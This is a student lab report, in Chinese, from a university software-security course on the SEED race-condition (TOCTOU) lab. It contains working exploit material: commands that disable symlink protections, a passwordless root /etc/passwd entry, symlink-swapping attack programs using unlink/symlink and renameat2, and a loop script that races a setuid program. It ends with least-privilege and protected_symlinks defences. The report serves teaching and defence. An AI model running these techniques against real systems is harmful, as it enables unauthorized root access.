软件安全实验报告

2022年11月3日

课程	名称:	软件安全
成绩	评定:	
实验名称:		竞争条件漏洞实验
实验编号:		实验 3
指导教师:		刁文瑞
姓	名:	李晨漪
学	号:	202000210103
学	院:	山东大学网络空间安全学院
专	亚:	网络空间安全

目录

1	实验目的	3
2	实验步骤与结果	3
	2.1 实验准备	3
	2.2 Task 1: 选择目标	3
	2.3 Task 2: 发起竞争条件攻击	4
	2.3.1 Task 2.A: 模拟一个缓慢的机器	4
	2.3.2 Task 2.B: 进行真实攻击	5
	2.3.3 Task 2.C: 一种改进的攻击方法	7
	2.4 Task 3: 预防措施	7
	2.4.1 Task 3.A: 应用最小权限原则	7
	2.4.2 Task 3.B: 使用 Ubuntu 的内置方案	
	2.5 思考题	10

1 实验目的

当多个进程同时访问和操作相同的数据时,会出现竞争条件,执行的结果取决于访问发生的特定顺序。如果特权程序存在竞争条件漏洞,攻击者可以运行并行进程与特权程序"竞争",从而改变程序的行为。

本实验涵盖以下主题:

- 1. 竞争条件漏洞
- 2. 粘滞符号链接保护
- 3. 最小权限原则

2 实验步骤与结果

注: 代码块中的单引号、双引号可能存在中英文角标混淆,在进行攻击时应当采用英文角标!

2.1 实验准备

关闭反制措施。Ubuntu 有一个内置的防止竞争条件攻击的保护措施。Ubuntu 20.04 引入了另一种安全机制,防止 root 用户写入/tmp 中其他人拥有的文件。在本实验中,我们需要禁用这些保护措施。

```
$ sudo sysctl —w fs.protected_symlinks=0
2 $ sudo sysctl fs.protected_regular=0
```

2.2 Task 1: 选择目标

- 实验步骤
 - 1) 管理员身份进入/etc/passwd 文件,添加下一行并保存。

```
_{1} \quad test: U6aMy0wojraho: 0: 0: test: / \ root: / \ bin/bash
```

- 2) 尝试用 test 用户进行登录,可以发现可以无密码登录,且有 root 权限。
- 运行截图

```
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

图 1: 添加 test 用户

```
[11/01/22]seed@VM:~$ su test
Password:
root@VM:/home/seed#
```

图 2: 获取 root

- 2.3 Task 2: 发起竞争条件攻击
- 2.3.1 Task 2.A: 模拟一个缓慢的机器
 - 实验步骤
- 1)更改 vulp.c 漏洞程序,即假设机器很慢,在 access() 和 fopen() 调用之间有 10 秒的时间窗口,在它们之间添加了一个 sleep(10)。

```
if (!access(fn, W_OK)) {
    sleep(10);
    fp = fopen(fn, "a+");
    ...
```

2) 重新编译 vulp.c, 设为 root 所有的 setuid 程序。

```
sudo chown root vulp
sudo chmod 4755 vulp
```

3)将 tmpXYZ 设为指向 devnull 文件(权限位为 rw-rw-rw-)的符号链接。

```
^{1} $ ln -sf /dev/null /tmp/XYZ ^{2} $ ls -ld /tmp/XYZ
```

4) 运行 vulp.c。用户输入为写入 etcpasswd 的字符串,回车结束输入。

```
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

5) 执行以下命令, 使/tmp/XYZ 指向密码文件。

```
1 $ ln -sf /etc/passwd /tmp/XYZ
```

• 运行截图

```
[11/01/22]seed@VM:~/.../Labsetup$ gcc vulp.c -o vulp
[11/01/22]seed@VM:~/.../Labsetup$ sudo chown root vulp
[11/01/22]seed@VM:~/.../Labsetup$ sudo chmod 4755 vulp
[11/01/22]seed@VM:~/.../Labsetup$ ls
target_process.sh vulp vulp.c
[11/01/22]seed@VM:~/.../Labsetup$ ./vulp
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

图 3: 步骤 2)、4)

```
root@VM:/home/seed

[11/01/22]seed@VM:~$ ln -sf /dev/null /tmp/XYZ
[11/01/22]seed@VM:~$ ls -ld /tmp/XYZ
lrwxrwxrwx 1 seed seed 9 Nov 1 10:25 /tmp/XYZ -> /dev/null
[11/01/22]seed@VM:~$ ln -sf /etc/passwd /tmp/XYZ
[11/01/22]seed@VM:~$ sudo vim /etc/passwd
[11/01/22]seed@VM:~$ su test
Password:
root@VM:/home/seed#
```

图 4: 步骤 3)、5)

结果展示:

/etc/passwd 文件中写入了 test 用户。

```
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin

test:U6aMy0wojraho:0:0:test:/root:/bin/bash

"/etc/passwd" [noeol] 51L, 2930C 49,45 Bot
```

图 5: 截图

可以成功获取 root 权限。

```
root@VM:/home/seed

[11/01/22]seed@VM:~$ ln -sf /dev/null /tmp/XYZ
[11/01/22]seed@VM:~$ ls -ld /tmp/XYZ
lrwxrwxrwx 1 seed seed 9 Nov 1 10:25 /tmp/XYZ -> /dev/null
[11/01/22]seed@VM:~$ ln -sf /etc/passwd /tmp/XYZ
[11/01/22]seed@VM:~$ sudo vim /etc/passwd
[11/01/22]seed@VM:~$ su test
Password:
root@VM:/home/seed#
```

图 6: 截图

2.3.2 Task 2.B: 进行真实攻击

- 1)编写攻击程序,并编译运行。
- attack.c

```
#include <unistd.h>
int main()

while(1){
 unlink("/tmp/XYZ");
 symlink("/dev/null","/tmp/XYZ");//使/tmp/XYZ指向/dev/null
 usleep(1000);
```

- 注:代码解释见注释,使用 usleep 〇 目的是防止 tmpXYZ 文件的所有权为 root。
- 2)运行易受攻击的程序并监视结果: 脚本使用 echo 命令(通过管道)提供的输入,在循环中运行易受攻击的程序(vulp)。
 - \bullet $target_process.sh$

```
#!/bin/bash

CHECK_FILE= "ls -l /etc/passwd"

old=$($CHECK_FILE)

new=$($CHECK_FILE)

while [ "$old" == "$new" ]

do

echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp

new=$($CHECK_FILE)

done

echo "STOP... The passwd file has been changed"
```

- 3) 执行脚本开始攻击,并验证结果。
- 运行截图

```
[11/01/22]seed@VM:~/.../Labsetup$ gcc attack.c -o attack
[11/01/22]seed@VM:~/.../Labsetup$ sudo ./attack
```

图 7: 步骤 1)

```
root@VM:/home/seed/Desktop/Labsetup

[11/01/22]seed@VM:~/.../Labsetup$ ./target_process.sh

STOP... The passwd file has been changed
[11/01/22]seed@VM:~/.../Labsetup$ su tast
su: user tast does not exist
[11/01/22]seed@VM:~/.../Labsetup$ su test
Password:
root@VM:/home/seed/Desktop/Labsetup#
```

图 8: 步骤 2)、3)

2.3.3 Task 2.C: 一种改进的攻击方法

- 1) 更改 attack.c 如下,编译并运行。
- attack1.sh

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

unsigned int flags = RENAME_EXCHANGE;

while (1) {
 unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
 unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
 renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);}

return 0;
}
```

- 2) 执行脚本 target_process.sh, 开始攻击。
- 解释: 为什么需要改进?

攻击程序有一个竞争条件问题:攻击程序在删除/tmp/XYZ(即 unlink())之后,在将该名称链接到另一个文件(即 symlink()之前,上下文被关闭。删除现有符号链接并创建一个新的符号链接的操作不是原子的(它涉及两个单独的系统调用),因此如果上下文切换发生在中间(即在删除/tmp/XYZ之后),并且目标 Set-UID 程序有机会运行其 fopen (fn, "a+")语句,它将创建一个 root 为所有者的新文件。在此之后,攻击程序无法再更改/tmp/XYZ。

总的来说,使用 unlink() 和 symlink() 方法即非原子化操作会使我们的攻击程序中有一个竞争条件。为了解决这个问题,我们需要使 unlink() 和 symlink() 原子化。

• 运行截图

```
root@VM:/home/seed/Desktop/Labsetup

[11/01/22]seed@VM:~/.../Labsetup$ gcc attack1.c -o attack1
[11/01/22]seed@VM:~/.../Labsetup$ sudo ./attack1
[11/01/22]seed@VM:~/.../Labsetup$ ./target_process.sh

STOP... The passwd file has been changed
[11/01/22]seed@VM:~/.../Labsetup$ su test

Password:
root@VM:/home/seed/Desktop/Labsetup#
```

图 9: 结果截图

2.4 Task 3: 预防措施

2.4.1 Task 3.A: 应用最小权限原则

1) 更改 vulp.c 如下,重新编译:使用 seteuid 系统调用暂时禁用 root 权限。

• *vulp.c*

```
#include <stdio.h>
2 #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
   int main()
       char* fn = "/tmp/XYZ";
       char buffer [60];
       FILE* fp;
10
11
       uid_t real_uid=getuid();//get real user id
12
       seteuid(real_uid);//shut off root
13
       /* get user input */
       scanf("%50s", buffer);
       if (!access(fn, W_OK)) {
17
18
           fp = fopen(fn, "a+");
19
           if (!fp) {
20
                perror( "Open failed");
^{21}
                exit(1);
22
           }
^{23}
           fwrite("\n", sizeof(char), 1, fp);
24
           fwrite(buffer, sizeof(char), strlen(buffer), fp);
25
           fclose (fp);
26
       } else {
           printf("No permission \n");
       }
29
       return 0;
30
  }
31
```

- 2) 按照 Task 2.C 方法运行攻击程序进行攻击。
- 运行截图

```
[11/01/22]seed@VM:~/.../Labsetup$ sudo ./attack1
[11/01/22]seed@VM:~/.../Labsetup$ ./target_process.sh
No permission
No permission
No permission
Open failed: Permission denied
Open failed: Permission denied
No permission
No permission
No permission
No permission
```

图 10: 结果截图

攻击失败。

解释

原因:调用 open()时没有 root 权限打开 tmpXYZ 指向的受保护的文件 passwd,即权限不够。

2.4.2 Task 3.B: 使用 Ubuntu 的内置方案

1) 打开保护。

```
sudo sysctl —w fs.protected_symlinks=1
```

- 2) 使用 Task 2 中的 vulp.c 进行攻击。
- 运行截图

```
[11/03/22]seed@VM:~/.../Labsetup$ sudo ./attack

[11/03/22]seed@VM:~/.../Labsetup$ ./target_process.sh

No permission
```

图 11: 结果截图

攻击失败。

解释

原理: 打开系统的粘滞符号链接保护。

在目录上设置了粘滞位后,只有目录内文件的所有者或者 root 才可以删除或移动该文件。如果不为目录设置粘滞位,任何具有该目录写和执行权限的用户都可以删除和移动其中的文件。实际应用中,粘滞位一般用于/tmp 目录,以防止普通用户删除或移动其他用户的文件。

对于全局可写的粘滞目录,开启保护后,其中的符号链接只有在符号链接的所有者和(目录的所有者,进程的有效 ID)其中一个一样的时候,才是有效的,否则系统不让使用。

在实验里,进程有效 ID 为 root, 目录所有者为 root, 符号链接所有者为 seed(非 root), 都不匹配, 所以没有权限使用, 因此程序终止。

局限性:

- 1) 此保护机制只适用于 other 用户可以写入的粘滞 (sticky) 目录,例如/tmp。
- 2) 这种保护方案并未从根本上阻止竞争条件,因为仍然可以在不同文件间创建链接,只是写入/etc/passwd 被阻止了。

2.5 思考题

Q1 最小权限原则可用于有效防御课程中讨论过的竞争条件攻击。我们可以使用相同的原理来阻止缓冲区溢出攻击吗?为什么?即在执行有缺陷的函数之前,我们禁用 root 权限;在函数返回后,我们重新启用特权。

答:我认为不能。缓冲区溢出攻击的终极目的是将恶意代码注入到目标程序中,这样就可以使用目标程序的特权来执行这些恶意代码。无论是否禁用 root 权限,恶意代码 shell 都可被注入到目标程序。即使此时不是 root,不能获得"#"权限,但仍可获得"\$"权限。一些攻击者还可利用在函数返回后启用特权的时机,获得"#"权限。因此这样做没有解决根本问题。

参考文献

[1] 杜文亮. 计算机安全导论: 深度实践 [M]. 北京: 高等教育出版社,2020.4.